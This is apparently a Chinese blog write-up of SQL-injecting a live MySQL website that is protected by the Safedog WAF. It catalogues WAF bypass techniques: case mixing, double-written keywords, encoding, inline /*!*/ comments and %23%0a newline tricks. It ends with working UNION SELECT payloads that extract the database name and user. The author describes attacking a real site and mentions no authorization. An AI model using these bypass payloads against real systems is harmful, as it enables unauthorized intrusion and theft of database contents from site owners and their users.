文章目录
前言
昨天遇到了一个站点测试了很久都没有测试出来,输入错误的参数网站会有报错回显而且还有安全狗,参试了很多方法都执行不了注入的SQL语句。后面再寻找网页别的资产时发现多个页面拥有注入点,最后测试出一个页面的注入点能成功的执行出注入的SQL语句。
一、判断是否有SQL注入漏洞
SQL注入漏洞产生需要满足以下两个条件
- 参试用户可控:前端传给后端的参数内容是用户可以控制的
- 参数带入数据库可以查询:传入的参数拼接到SQL语句,且带入数据库查询
我们在参数后面输入一个 ’ 发现网站报错。从报错钟我们可以得出该网站用的是MySQL数据库
之后在参数后面加上 and 1=1时
发现网站有安全狗拦截
之后输入and -1=-1时绕过安全狗,页面正常
再输入and -1=-2时,页面缺失了一块
由此可以初步判定BID参数存在SQL注入漏洞,之后可以进一步拼接SQL语句进行攻击,导致数据库泄露等。
二、开始注入
1.通过 order by语句查询网页字段
如果当访问BID=1 order by 3,页面返回与BID=1相同结果,访问BID=4 order by 4,页面返回与BID=1不同的结果,则字段数为3。
因为有安全狗,所以我们先输入 order by 1尝试有无拦截 。
注入后发现被拦截
如下图所示
之后参试绕过WAF进行注入,经过测试构造payload为
bid=31+order%23%0aby+1%23
能绕过安全狗。之后经过测试判断字段数为18
常见的绕过WAF方式
1.大小写绕过
id=1 OrDeR By 1
2.双写绕过
有些WAF设置的规则只设置一次,这样在拦截删除一次后就不会再进行删除。
id=1 ororderder bbyy 1
过滤后 ——> order by 1
3.编码绕过
有些时候检测的是关键字,那么就可以进行编码绕过
URL编码:
16进制编码:
4.符号替换
&&可替换and
||替换or
/**/替换空格
URL栏中用+替换空格
5.内联注释绕过
一般WAF不会检测注释里面的内容,但是内联注释 /*!*/ 与一般注释 /**/ 不同的是,在内联注释的代码是可以执行的。
例如:
id=1+/*! order*/ + /*!by*/ +1
6.换行跳出单行注释绕过
数据库对于#(%23)和 – 等注释后面的东西都进行忽略处理。
我们利用WAF一般不会处理注释内的东西这一特性进行绕过,在%23后面加上%0a换行进行绕过,在%0a后面放入需要注入的语句。
id=120+%231q%0aorder%20%23qa%0A%23%0Aby%20
2.通过联合查询获取数据库等信息
通过前面判断出有18个字段。需要注入入union select 1,2,…,18 查看那个字段显示在页面上。
输入后发现被拦截
猜测安全狗对 union关键字进行拦截,输入bid=1 union发现没被拦截
猜测安全狗对 select关键字进行拦截,输入bid=1 select发现也没被拦截
之后输入bid=1 union select发现被安全狗拦截
之后payload为
bid=31%231q%0Aunion%20all%23%0Aselect%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20%23
成功绕过安全狗,得到回显的字段
之后修改对应字段数为以下这几个函数就能查询出对应的信息
- database() 当前网站数据库
- version() 当前数据库版本
- user() 当前MYSQL用户
最后构造Payload绕过waf查询需要的信息
bid=31%231q%0Aunion%20all%23%0Aselect%201,database%23%0a(),3,4,5,6,7,8,user%23%0a(),10,11,12,13,14,15,16,17,18%20%23